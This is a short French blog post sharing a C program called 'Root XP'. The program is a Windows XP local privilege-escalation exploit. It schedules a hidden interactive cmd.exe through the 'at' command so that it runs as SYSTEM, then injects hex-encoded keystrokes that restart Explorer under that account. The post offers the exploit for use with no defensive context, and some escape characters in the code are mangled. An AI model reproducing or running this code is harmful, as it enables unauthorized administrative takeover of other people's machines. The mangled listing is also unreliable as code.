etre en mode super-utilisateur

Publié le par Oneiroi

//////////////////////////
// Root XP
// Coded by PHPaddict
///////////////////////////


#include <windows.h>
#include <stdio.h>

int main(void)
{
char buff[100],sysdir[200];
int n = 0;
SYSTEMTIME wt;
HWND lhandle = NULL;
WPARAM list[]={0x54,0x53,0x4B,0x49,0x4C,0x4C,0x20,0x45,0x58,0x50,0x4C,0x4F,0x52,0x45,0x52,VK_RETURN,
               0x43,0x44,0x20,0x6E,0x00,0x6E,VK_RETURN,
               0x53,0x54,0x41,0x52,0x54,0x20,0x45,0x58,0x50,0x4C,0x4F,0x52,0x45,0x52,0x6E,0x45,0x58,0x45,VK_RETURN,
               0x00
               };

GetSystemDirectory(sysdir,sizeof(sysdir));
GetLocalTime(&wt);
sprintf(buff,"/c at %i:%i /interactive "cmd.exe"",(int)wt.wHour,(int)wt.wMinute+1);
ShellExecute(0,0,"cmd.exe",buff,0,SW_HIDE);
memset(buff,0,sizeof(buff));
printf("Wait a minute ..n");
Sleep(60000);
sprintf(buff,"%ssvchost.exe",sysdir);
lhandle=FindWindow(NULL,buff);
while(n < 43){
SendMessage(lhandle, WM_IME_KEYDOWN, list[n], 0);
Sleep(100);
n++;
}

SendMessage (lhandle, WM_CLOSE, 0, 0);
printf("Normally You're root ^^n");
return 0;
}



                                                                                                        source:
                                                                                                                     XeOn
                                                                                                                      
Publicité

Publié dans Codes Sources

Pour être informé des derniers articles, inscrivez vous :
Commenter cet article